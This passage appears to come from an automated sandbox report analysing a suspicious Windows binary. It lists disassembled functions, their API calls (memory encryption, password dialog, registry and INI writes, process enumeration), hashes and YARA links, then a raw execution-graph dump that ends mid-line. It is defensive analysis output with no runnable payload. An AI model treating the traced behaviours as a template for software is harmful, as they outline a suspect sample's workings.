                                                              • String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
                                                              • API String ID: 2190909847-396321323
                                                              • Opcode ID: 0633c18496ae98971d90de285bec1d876d2f8b42706a514a7aebed3c22d28b74
                                                              • Instruction ID: 70172815f63d78938e7c17173c4cc518265f86da93665126461e9fe5770e2b22
                                                              • Opcode Fuzzy Hash: 0633c18496ae98971d90de285bec1d876d2f8b42706a514a7aebed3c22d28b74
                                                              • Instruction Fuzzy Hash: 95110332A01B25ABDF11BF20BC08B6E7B65EB41760B088115FC069B389DB30AD4187F9
                                                              Function 00D94264 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • IsWindowVisible.USER32(00010426), ref: 00D94291
                                                              • DialogBoxParamW.USER32(GETPASSWORD1,00010426,00D90110,?), ref: 00D942BA
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: DialogParamVisibleWindow
                                                              • String ID: GETPASSWORD1
                                                              • API String ID: 3157717868-3292211884
                                                              • Opcode ID: 83ee8b4ecb27c4c6f0244db9bcb7ccc151ddd1f2b714a13097fd8131f2c04598
                                                              • Instruction ID: 895796a836776a476059ccbfaa7581c5dfe19540feb5025f1b691f08e376017e
                                                              • Opcode Fuzzy Hash: 83ee8b4ecb27c4c6f0244db9bcb7ccc151ddd1f2b714a13097fd8131f2c04598
                                                              • Instruction Fuzzy Hash: B101F930296757FFCF10AB64AC0AF5737D8BB02310B488115F845D3292CAB0A885DB75
                                                              Function 00D71E44 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00D83EAA: _swprintf.LIBCMT ref: 00D83EEA
                                                                • Part of subcall function 00D83EAA: _strlen.LIBCMT ref: 00D83F0B
                                                                • Part of subcall function 00D83EAA: SetDlgItemTextW.USER32(?,00DB919C,?), ref: 00D83F64
                                                                • Part of subcall function 00D83EAA: GetWindowRect.USER32(?,?), ref: 00D83F9A
                                                                • Part of subcall function 00D83EAA: GetClientRect.USER32(?,?), ref: 00D83FA6
                                                              • GetDlgItem.USER32(00000000,00003021), ref: 00D71E88
                                                              • SetWindowTextW.USER32(00000000,00DAC6C8), ref: 00D71E9E
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ItemRectTextWindow$Client_strlen_swprintf
                                                              • String ID: 0
                                                              • API String ID: 2622349952-4108050209
                                                              • Opcode ID: 6ec7faab33c261d05bb656f15ac63fe2503b3d9ce6d041e7f6411caadf560956
                                                              • Instruction ID: 893afe252398e43a4dab6b4b0a0017daf2d9307e18444f928f680cef4ca5380e
                                                              • Opcode Fuzzy Hash: 6ec7faab33c261d05bb656f15ac63fe2503b3d9ce6d041e7f6411caadf560956
                                                              • Instruction Fuzzy Hash: 45F0FF34404349AADF262F65DD0AEEA3B98AF14300F0C8344FC4D806A0D774CA84DF70
                                                              Function 00D875ED Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • WaitForSingleObject.KERNEL32(?,000000FF,00D8770A,?,?,00D8777F,?,?,?,?,?,00D87769), ref: 00D875F3
                                                              • GetLastError.KERNEL32(?,?,00D8777F,?,?,?,?,?,00D87769), ref: 00D875FF
                                                                • Part of subcall function 00D792EB: __EH_prolog3_GS.LIBCMT ref: 00D792F2
                                                              Strings
                                                              • WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00D87608
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ErrorH_prolog3_LastObjectSingleWait
                                                              • String ID: WaitForMultipleObjects error %d, GetLastError %d
                                                              • API String ID: 2419225763-2248577382
                                                              • Opcode ID: d7704da226ce1ce78141470d88502206c5c45053290497d46a3550510c4fde25
                                                              • Instruction ID: 45592c9d4572c34a1ce4efd83c8d619157a1566598804f5781f5f215f7462358
                                                              • Opcode Fuzzy Hash: d7704da226ce1ce78141470d88502206c5c45053290497d46a3550510c4fde25
                                                              • Instruction Fuzzy Hash: A1D05E3250D921BBD51033685C0ECEE7A09DB13330FA44718F639A63E6EE20084142BD
                                                              Function 00D83E60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetModuleHandleW.KERNEL32(00000000,?,00000000,?,00000000,00200000,?,?,00000000,0000005C,562D4312), ref: 00D83E65
                                                              • FindResourceW.KERNEL32(00000000,RTL,00000005), ref: 00D83E73
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: FindHandleModuleResource
                                                              • String ID: RTL
                                                              • API String ID: 3537982541-834975271
                                                              • Opcode ID: e9893f89112d6c21b34b64093e7d318b4b3ce60f82588c8aa6cdf4367944bb13
                                                              • Instruction ID: df4030a6461740e7bd0a81dfba9ae53689e6ce3e2d821027a135c9691d660ce9
                                                              • Opcode Fuzzy Hash: e9893f89112d6c21b34b64093e7d318b4b3ce60f82588c8aa6cdf4367944bb13
                                                              • Instruction Fuzzy Hash: 8CC080317603109BE73017717C0DB432D585B06B35F09145CB509D91C0DDE5D4408BF0

                                                              Execution Graph

                                                              Execution Coverage:3.6%
                                                              Dynamic/Decrypted Code Coverage:0%
                                                              Signature Coverage:1.8%
                                                              Total number of Nodes:2000
                                                              Total number of Limit Nodes:49
                                                              execution_graph 98506 8cf08e 98507 8cf09a CallCatchBlock 98506->98507 98508 8cf0bb 98507->98508 98509 8cf0a6 98507->98509 98519 8c951d EnterCriticalSection 98508->98519 98525 8cf669 20 API calls __dosmaperr 98509->98525 98512 8cf0c7 98520 8cf0fb 98512->98520 98513 8cf0ab 98526 8d2b7c 26 API calls __fread_nolock 98513->98526 98518 8cf0b6 __fread_nolock 98519->98512 98528 8cf126 98520->98528 98522 8cf108 98524 8cf0d4 98522->98524 98548 8cf669 20 API calls __dosmaperr 98522->98548 98527 8cf0f1 LeaveCriticalSection __fread_nolock 98524->98527 98525->98513 98526->98518 98527->98518 98529 8cf14e 98528->98529 98530 8cf134 98528->98530 98549 8cdce5 98529->98549 98559 8cf669 20 API calls __dosmaperr 98530->98559 98533 8cf139 98560 8d2b7c 26 API calls __fread_nolock 98533->98560 98534 8cf157 98556 8d9799 98534->98556 98536 8cf144 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 98536->98522 98539 8cf1df 98542 8cf20e 98539->98542 98544 8cf1fc 98539->98544 98540 8cf25b 98541 8cf268 98540->98541 98540->98542 98562 8cf669 20 API calls __dosmaperr 98541->98562 98542->98536 98563 8cf2bb 30 API calls 2 library calls 98542->98563 98561 8cf43f 31 API calls 4 library calls 98544->98561 98546 8cf206 98546->98536 98548->98524 98550 8cdd06 98549->98550 98551 8cdcf1 98549->98551 98550->98534 98564 8cf669 20 API calls __dosmaperr 98551->98564 98553 8cdcf6 98565 8d2b7c 26 API calls __fread_nolock 98553->98565 98555 8cdd01 98555->98534 98566 8d9616 98556->98566 98558 8cf173 98558->98536 98558->98539 98558->98540 98559->98533 98560->98536 98561->98546 98562->98536 98563->98536 98564->98553 98565->98555 98567 8d9622 CallCatchBlock 98566->98567 98568 8d962a 98567->98568 98569 8d9642 98567->98569 98601 8cf656 20 API calls __dosmaperr 98568->98601 98570 8d96f6 98569->98570 98574 8d967a 98569->98574 98606 8cf656 20 API calls __dosmaperr 98570->98606 98573 8d962f 98602 8cf669 20 API calls __dosmaperr 98573->98602 98591 8d54d7 EnterCriticalSection 98574->98591 98575 8d96fb 98607 8cf669 20 API calls __dosmaperr 98575->98607 98579 8d9680 98581 8d96b9 98579->98581 98582 8d96a4 98579->98582 98580 8d9703 98608 8d2b7c 26 API calls __fread_nolock 98580->98608 98592 8d971b 98581->98592 98603 8cf669 20 API calls __dosmaperr 98582->98603 98584 8d9637 __fread_nolock 98584->98558 98587 8d96a9 98604 8cf656 20 API calls __dosmaperr 98587->98604 98588 8d96b4 98605 8d96ee LeaveCriticalSection __wsopen_s 98588->98605 98591->98579 98609 8d5754 98592->98609 98594 8d972d 98595 8d9735 98594->98595 98596 8d9746 SetFilePointerEx 98594->98596 98622 8cf669 20 API calls __dosmaperr 98595->98622 98597 8d975e GetLastError 98596->98597 98600 8d973a 98596->98600 98623 8cf633 20 API calls __dosmaperr 98597->98623 98600->98588 98601->98573 98602->98584 98603->98587 98604->98588 98605->98584 98606->98575 98607->98580 98608->98584 98610 8d5761 98609->98610 98612 8d5776 98609->98612 98624 8cf656 20 API calls __dosmaperr 98610->98624 98616 8d579b 98612->98616 98626 8cf656 20 API calls __dosmaperr 98612->98626 98613 8d5766 98625 8cf669 20 API calls __dosmaperr 98613->98625 98616->98594 98617 8d57a6 98627 8cf669 20 API calls __dosmaperr 98617->98627 98618 8d576e 98618->98594 98620 8d57ae 98628 8d2b7c 26 API calls __fread_nolock 98620->98628 98622->98600 98623->98600 98624->98613 98625->98618 98626->98617 98627->98620 98628->98618 98629 8b0e6f 98630 8b0e83 98629->98630 98636 8b13d5 98629->98636 98634 8b0e95 98630->98634 98734 8c016b 98630->98734 98632 8f55d0 98751 911a29 8 API calls 98632->98751 98634->98632 98635 8b0eee 98634->98635 98743 8ab3fe 98634->98743 98655 8b044d ISource 98635->98655 98662 8b2ad0 98635->98662 98636->98634 98747 8abe6d 98636->98747 98640 8f62cf 98755 913ef6 81 API calls __wsopen_s 98640->98755 98641 8b1645 98649 8abe6d 8 API calls 98641->98649 98641->98655 98643 8c016b 8 API calls 98648 8b0326 ISource 98643->98648 98645 8f5c7f 98653 8abe6d 8 API calls 98645->98653 98645->98655 98646 8f61fe 98754 913ef6 81 API calls __wsopen_s 98646->98754 98647 8abe6d 8 API calls 98647->98648 98648->98640 98648->98641 98648->98643 98648->98645 98648->98646 98648->98647 98654 8c05d2 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 98648->98654 98648->98655 98656 8abf07 8 API calls 98648->98656 98657 8c0433 29 API calls pre_c_initialization 98648->98657 98658 8f60b9 98648->98658 98660 8b0a5e ISource 98648->98660 98661 8c0588 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent __Init_thread_footer 98648->98661 98732 8b1940 253 API calls 2 library calls 98648->98732 98733 8b1e00 40 API calls ISource 98648->98733 98649->98655 98653->98655 98654->98648 98656->98648 98657->98648 98752 913ef6 81 API calls __wsopen_s 98658->98752 98753 913ef6 81 API calls __wsopen_s 98660->98753 98661->98648 98663 8b2f70 98662->98663 98664 8b2b36 98662->98664 99132 8c05d2 5 API calls __Init_thread_wait 98663->99132 98666 8f7b7c 98664->98666 98667 8b2b50 98664->98667 99142 9279f9 253 API calls 98666->99142 98756 8b30e0 98667->98756 98669 8b2f7a 98672 8b2fbb 98669->98672 99133 8ab25f 98669->99133 98671 8f7b88 98671->98648 98678 8f7b91 98672->98678 98679 8b2fec 98672->98679 98674 8b30e0 9 API calls 98676 8b2b76 98674->98676 98676->98672 98677 8b2bac 98676->98677 98677->98678 98703 8b2bc8 __fread_nolock 98677->98703 99143 913ef6 81 API calls __wsopen_s 98678->99143 98681 8ab3fe 8 API calls 98679->98681 98684 8b2ff9 98681->98684 98682 8b2f94 99139 8c0588 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 98682->99139 98683 8f7bb4 98683->98648 99140 8be662 253 API calls 98684->99140 98687 8f7bb9 99144 913ef6 81 API calls __wsopen_s 98687->99144 98689 8b2cef 98690 8f7c1c 98689->98690 98691 8b2cfc 98689->98691 99146 9260a2 53 API calls _wcslen 98690->99146 98693 8b30e0 9 API calls 98691->98693 98694 8b2d09 98693->98694 98698 8b30e0 9 API calls 98694->98698 98706 8f7d45 98694->98706 98695 8c016b 8 API calls 98695->98703 98697 8b3032 99141 8bfe59 8 API calls 98697->99141 98699 8b2d23 98698->98699 98699->98706 98708 8abe6d 8 API calls 98699->98708 98711 8b2d87 ISource 98699->98711 98702 8b306d 98702->98648 98703->98683 98703->98684 98703->98687 98703->98689 98703->98695 98705 8f7bfd 98703->98705 98766 8b02f0 98703->98766 99122 8c019b 98703->99122 99145 913ef6 81 API calls __wsopen_s 98705->99145 98706->98683 99147 913ef6 81 API calls __wsopen_s 98706->99147 98708->98711 98709 8b30e0 9 API calls 98709->98711 98710 8b2edd 98710->98648 98711->98683 98711->98697 98711->98706 98711->98709 98712 8b2e3b ISource 98711->98712 98789 9165b4 98711->98789 98794 916d2d 98711->98794 98807 914ad5 98711->98807 98812 918e39 98711->98812 98831 9195f6 98711->98831 98846 8bbe75 98711->98846 98903 916561 98711->98903 98910 91de5d 98711->98910 98915 90e9c5 GetFileAttributesW 98711->98915 98917 8a7953 98711->98917 98921 92eb63 98711->98921 98957 92cd16 98711->98957 99046 929eea 98711->99046 99049 8bf95e 98711->99049 99056 91874a 98711->99056 99083 915ed5 98711->99083 99113 91276a 98711->99113 99117 92ac49 98711->99117 98712->98710 99131 8be29c 8 API calls ISource 98712->99131 98732->98648 98733->98648 98736 8c0170 ___std_exception_copy 98734->98736 98735 8c018a 98735->98634 98736->98735 98739 8c018c 98736->98739 99951 8c523d 7 API calls 2 library calls 98736->99951 98738 8c09fd 99953 8c3634 RaiseException 98738->99953 98739->98738 99952 8c3634 RaiseException 98739->99952 98742 8c0a1a 98742->98634 98744 8ab40c 98743->98744 98746 8ab412 98743->98746 98745 8abe6d 8 API calls 98744->98745 98744->98746 98745->98746 98746->98634 98748 8abe81 98747->98748 98750 8abe90 __fread_nolock 98747->98750 98749 8c019b 8 API calls 98748->98749 98748->98750 98749->98750 98750->98634 98751->98655 98752->98660 98753->98655 98754->98655 98755->98655 98757 8b3121 98756->98757 98761 8b30fd 98756->98761 99148 8c05d2 5 API calls __Init_thread_wait 98757->99148 98760 8b312b 98760->98761 99149 8c0588 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 98760->99149 98765 8b2b60 98761->98765 99150 8c05d2 5 API calls __Init_thread_wait 98761->99150 98762 8b9ec7 98762->98765 99151 8c0588 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 98762->99151 98765->98674 98783 8b0326 ISource 98766->98783 98767 8f62cf 99157 913ef6 81 API calls __wsopen_s 98767->99157 98768 8b1645 98775 8abe6d 8 API calls 98768->98775 98782 8b044d ISource 98768->98782 98769 8c016b 8 API calls 98769->98783 98772 8f5c7f 98779 8abe6d 8 API calls 98772->98779 98772->98782 98773 8f61fe 99156 913ef6 81 API calls __wsopen_s 98773->99156 98774 8abe6d 8 API calls 98774->98783 98775->98782 98779->98782 98780 8c05d2 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 98780->98783 98781 8abf07 8 API calls 98781->98783 98782->98703 98783->98767 98783->98768 98783->98769 98783->98772 98783->98773 98783->98774 98783->98780 98783->98781 98783->98782 98784 8c0433 29 API calls pre_c_initialization 98783->98784 98785 8f60b9 98783->98785 98787 8c0588 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent __Init_thread_footer 98783->98787 98788 8b0a5e ISource 98783->98788 99152 8b1940 253 API calls 2 library calls 98783->99152 99153 8b1e00 40 API calls ISource 98783->99153 98784->98783 99154 913ef6 81 API calls __wsopen_s 98785->99154 98787->98783 99155 913ef6 81 API calls __wsopen_s 98788->99155 99158 8a8e70 98789->99158 98793 9165d1 98793->98711 98795 8a8e70 52 API calls 98794->98795 98796 916d47 98795->98796 98797 916d84 98796->98797 99195 8ac92d 98796->99195 99190 90e783 98797->99190 98800 916d76 98800->98797 99200 8a557e 98800->99200 98801 916d92 99210 8a7a59 98801->99210 98805 8a8e70 52 API calls 98805->98801 98806 916dd7 98806->98711 98808 8a8e70 52 API calls 98807->98808 98809 914ae8 98808->98809 99255 90da81 98809->99255 98811 914af0 98811->98711 99267 8abf07 98812->99267 98815 8c019b 8 API calls 98816 918e54 98815->98816 99272 8a41a6 98816->99272 98819 8a8e70 52 API calls 98820 918e6d 98819->98820 98821 8a557e 9 API calls 98820->98821 98822 918e78 98821->98822 98823 8a8e70 52 API calls 98822->98823 98824 918e85 98823->98824 98825 8a8e70 52 API calls 98824->98825 98826 918e97 98825->98826 98827 8a8e70 52 API calls 98826->98827 98828 918eac GetPrivateProfileStringW 98827->98828 99275 8a6ab6 98828->99275 98830 918ecf ISource 98830->98711 98832 8abf07 8 API calls 98831->98832 98833 919607 98832->98833 98834 8a8e70 52 API calls 98833->98834 98835 919616 98834->98835 98836 8a557e 9 API calls 98835->98836 98837 919621 98836->98837 98838 8a8e70 52 API calls 98837->98838 98839 91962e 98838->98839 98840 8a8e70 52 API calls 98839->98840 98841 919640 98840->98841 98842 8a8e70 52 API calls 98841->98842 98843 919655 WritePrivateProfileStringW 98842->98843 98844 91966b WritePrivateProfileStringW 98843->98844 98845 919677 98843->98845 98844->98845 98845->98711 98847 8a6ab6 8 API calls 98846->98847 98848 8bbe8d 98847->98848 98850 8c016b 8 API calls 98848->98850 98852 8f8f7a 98848->98852 98851 8bbea6 98850->98851 98853 8c019b 8 API calls 98851->98853 98893 8bbf1f 98852->98893 99340 91a607 39 API calls 98852->99340 98854 8bbeb7 98853->98854 98855 8a7953 CloseHandle 98854->98855 98856 8bbec2 98855->98856 98858 8abf07 8 API calls 98856->98858 98857 8ac92d 39 API calls 98859 8f8fdc 98857->98859 98860 8bbeca 98858->98860 98861 8bbf2c 98859->98861 98862 8f8fe4 98859->98862 98863 8a7953 CloseHandle 98860->98863 99312 8bfdc9 98861->99312 98865 8ac92d 39 API calls 98862->98865 98866 8bbed1 98863->98866 98870 8bbf33 98865->98870 98867 8a8e70 52 API calls 98866->98867 98868 8bbedd 98867->98868 98869 8a7953 CloseHandle 98868->98869 98871 8bbee7 98869->98871 98872 8bbf4e 98870->98872 98873 8f8ff9 98870->98873 99289 8a6e52 98871->99289 99317 8a7a14 98872->99317 98876 8c019b 8 API calls 98873->98876 98879 8f8ffe 98876->98879 98885 8f9012 98879->98885 99341 8a41c9 98879->99341 98880 8f8f72 99339 8a7923 CloseHandle ISource 98880->99339 98892 8f9016 __fread_nolock 98885->98892 99344 911759 8 API calls ___scrt_fastfail 98885->99344 98886 8bbf00 99297 8a6b12 98886->99297 98887 8bbf65 98888 8a7a59 8 API calls 98887->98888 98887->98892 98894 8bbf79 98888->98894 98890 8bbf0e 99336 8a6afb SetFilePointerEx SetFilePointerEx SetFilePointerEx 98890->99336 98893->98857 98893->98861 98895 8bbfb3 98894->98895 98898 8a7953 CloseHandle 98894->98898 98895->98711 98896 8f8f3b 99338 90d4bf SetFilePointerEx SetFilePointerEx SetFilePointerEx WriteFile 98896->99338 98897 8bbf15 98897->98893 98897->98896 98900 8bbfa7 98898->98900 98900->98895 99337 8a7923 CloseHandle ISource 98900->99337 98901 8f8f52 98901->98893 98904 8a8e70 52 API calls 98903->98904 98905 916577 98904->98905 99413 90db69 98905->99413 98907 91657f 98908 916583 GetLastError 98907->98908 98909 916598 98907->98909 98908->98909 98909->98711 98911 8ab3fe 8 API calls 98910->98911 98912 91de70 98911->98912 99541 91183b 98912->99541 98914 91de78 98914->98711 98916 90e9d1 98915->98916 98916->98711 98918 8a796c 98917->98918 98919 8a795d 98917->98919 98918->98919 98920 8a7971 CloseHandle 98918->98920 98919->98711 98920->98919 98922 8abf07 8 API calls 98921->98922 98923 92eb7a 98922->98923 98924 8a8e70 52 API calls 98923->98924 98925 92eb89 98924->98925 98926 8a7a14 8 API calls 98925->98926 98927 92eb9c 98926->98927 98928 8a8e70 52 API calls 98927->98928 98929 92eba9 98928->98929 98930 92ebc1 98929->98930 98931 92ec26 98929->98931 98932 8ac92d 39 API calls 98930->98932 98933 8a8e70 52 API calls 98931->98933 98934 92ebc6 98932->98934 98935 92ec2b 98933->98935 98936 92ec38 98934->98936 98939 92ebdf 98934->98939 98935->98936 98937 92ec73 98935->98937 98938 8a6ab6 8 API calls 98936->98938 98940 92ec8b 98937->98940 98942 8ac92d 39 API calls 98937->98942 98954 92ec45 98938->98954 98941 8a8685 8 API calls 98939->98941 98943 92eca4 98940->98943 98946 8ac92d 39 API calls 98940->98946 98945 92ebec 98941->98945 98942->98940 98944 8abe6d 8 API calls 98943->98944 98947 92ecbe 98944->98947 98948 8a7af4 8 API calls 98945->98948 98946->98943 99561 909b57 98947->99561 98950 92ebfa 98948->98950 98951 8a8685 8 API calls 98950->98951 98952 92ec13 98951->98952 98953 8a7af4 8 API calls 98952->98953 98956 92ec21 98953->98956 98954->98711 98955 8a7a59 8 API calls 98955->98954 98956->98955 98958 8abf07 8 API calls 98957->98958 98959 92cd39 98958->98959 98960 8abf07 8 API calls 98959->98960 98961 92cd42 98960->98961 98962 8abf07 8 API calls 98961->98962 98963 92cd4b 98962->98963 98964 8a8e70 52 API calls 98963->98964 98973 92cdda 98963->98973 98965 92cd71 98964->98965 99593 92d6b1 98965->99593 98967 92cda5 99619 92d2f7 98967->99619 98969 92cdd6 98970 92ce0f RegConnectRegistryW 98969->98970 98971 92ce76 RegCreateKeyExW 98969->98971 98969->98973 98970->98971 98970->98973 98974 92cf0e 98971->98974 98983 92cead 98971->98983 98973->98711 98975 92d1d6 RegCloseKey 98974->98975 98977 8a8e70 52 API calls 98974->98977 98975->98973 98976 92d1e9 RegCloseKey 98975->98976 98976->98973 98978 92cf29 98977->98978 99629 8c4db8 98978->99629 98980 92cf38 98981 92cf96 98980->98981 98982 92cf44 98980->98982 98984 8a8e70 52 API calls 98981->98984 98985 8a8e70 52 API calls 98982->98985 98983->98973 98986 92ceff RegCloseKey 98983->98986 98987 92cfa0 98984->98987 98988 92cf4e _wcslen 98985->98988 98986->98973 98989 8c4db8 _strftime 40 API calls 98987->98989 98993 8a8e70 52 API calls 98988->98993 98990 92cfaf 98989->98990 98996 92cf70 98993->98996 99643 9288b6 99046->99643 99048 929efa 99048->98711 99050 8ac92d 39 API calls 99049->99050 99051 8bf972 99050->99051 99052 8bf97a timeGetTime 99051->99052 99053 8ffac0 Sleep 99051->99053 99054 8ac92d 39 API calls 99052->99054 99055 8bf990 99054->99055 99055->98711 99057 91875a __wsopen_s 99056->99057 99058 8a8e70 52 API calls 99057->99058 99059 91877b 99058->99059 99060 8ac92d 39 API calls 99059->99060 99068 918799 99059->99068 99060->99068 99061 8a8e70 52 API calls 99062 91887c 99061->99062 99063 8a557e 9 API calls 99062->99063 99064 9188a7 99063->99064 99770 8cd913 99064->99770 99066 9188cd 99067 9188f7 GetCurrentDirectoryW SetCurrentDirectoryW 99066->99067 99069 918921 99067->99069 99072 918973 99067->99072 99068->99061 99068->99072 99070 90e387 4 API calls 99069->99070 99071 91892a 99070->99071 99071->99072 99073 90e9c5 GetFileAttributesW 99071->99073 99072->98711 99074 918938 99073->99074 99075 918940 GetFileAttributesW SetFileAttributesW 99074->99075 99081 9189cb 99074->99081 99076 9189b1 99075->99076 99077 918969 SetCurrentDirectoryW 99075->99077 99078 918a02 SetCurrentDirectoryW 99076->99078 99079 9189b5 SetCurrentDirectoryW 99076->99079 99077->99072 99078->99072 99079->99081 99773 919f9f FindFirstFileW 99081->99773 99082 9189ea 99082->99078 99084 915ef4 99083->99084 99085 915fbd 99083->99085 99086 8ac92d 39 API calls 99084->99086 99088 8a8e70 52 API calls 99085->99088 99099 916011 99085->99099 99087 915eff 99086->99087 99089 8ac92d 39 API calls 99087->99089 99090 915fef 99088->99090 99091 915f15 99089->99091 99092 8a8e70 52 API calls 99090->99092 99091->99085 99094 8abf07 8 API calls 99091->99094 99093 916001 99092->99093 99817 90d836 99093->99817 99096 915f26 99094->99096 99097 8abf07 8 API calls 99096->99097 99098 915f2f 99097->99098 99100 8a8e70 52 API calls 99098->99100 99099->98711 99101 915f3c 99100->99101 99102 8a694e 8 API calls 99101->99102 99103 915f4f 99102->99103 99104 8a7af4 8 API calls 99103->99104 99105 915f60 99104->99105 99112 915f89 99105->99112 99860 90dc8e 99105->99860 99107 8ac92d 39 API calls 99107->99085 99109 8ab25f 8 API calls 99110 915f80 99109->99110 99111 90da81 12 API calls 99110->99111 99111->99112 99112->99107 99114 912773 99113->99114 99115 912778 99113->99115 99116 91183b 10 API calls 99114->99116 99115->98711 99116->99115 99118 8a8e70 52 API calls 99117->99118 99119 92ac65 99118->99119 99930 90dc9c CreateToolhelp32Snapshot Process32FirstW 99119->99930 99121 92ac74 99121->98711 99123 8c016b ___std_exception_copy 99122->99123 99124 8c018a 99123->99124 99127 8c018c 99123->99127 99948 8c523d 7 API calls 2 library calls 99123->99948 99124->98703 99126 8c09fd 99950 8c3634 RaiseException 99126->99950 99127->99126 99949 8c3634 RaiseException 99127->99949 99130 8c0a1a 99130->98703 99131->98712 99132->98669 99134 8ab26e _wcslen 99133->99134 99135 8c019b 8 API calls 99134->99135 99136 8ab296 __fread_nolock 99135->99136 99137 8c016b 8 API calls 99136->99137 99138 8ab2ac 99137->99138 99138->98682 99139->98672 99140->98697 99141->98702 99142->98671 99143->98683 99144->98683 99145->98683 99146->98699 99147->98683 99148->98760 99149->98761 99150->98762 99151->98765 99152->98783 99153->98783 99154->98788 99155->98782 99156->98782 99157->98782 99159 8a8e82 99158->99159 99160 8a8e85 99158->99160 99181 90e387 lstrlenW 99159->99181 99161 8a8ebb 99160->99161 99162 8a8e8d 99160->99162 99164 8e6b10 99161->99164 99167 8a8ecd 99161->99167 99172 8e6a29 99161->99172 99186 8c5556 26 API calls 99162->99186 99189 8c5513 26 API calls 99164->99189 99165 8a8e9d 99171 8c016b 8 API calls 99165->99171 99187 8bfe8f 51 API calls 99167->99187 99168 8e6b28 99168->99168 99173 8a8ea7 99171->99173 99175 8c019b 8 API calls 99172->99175 99180 8e6aa2 99172->99180 99174 8ab25f 8 API calls 99173->99174 99174->99159 99176 8e6a72 99175->99176 99177 8c016b 8 API calls 99176->99177 99178 8e6a99 99177->99178 99179 8ab25f 8 API calls 99178->99179 99179->99180 99188 8bfe8f 51 API calls 99180->99188 99182 90e3a5 GetFileAttributesW 99181->99182 99183 90e3cf 99181->99183 99182->99183 99184 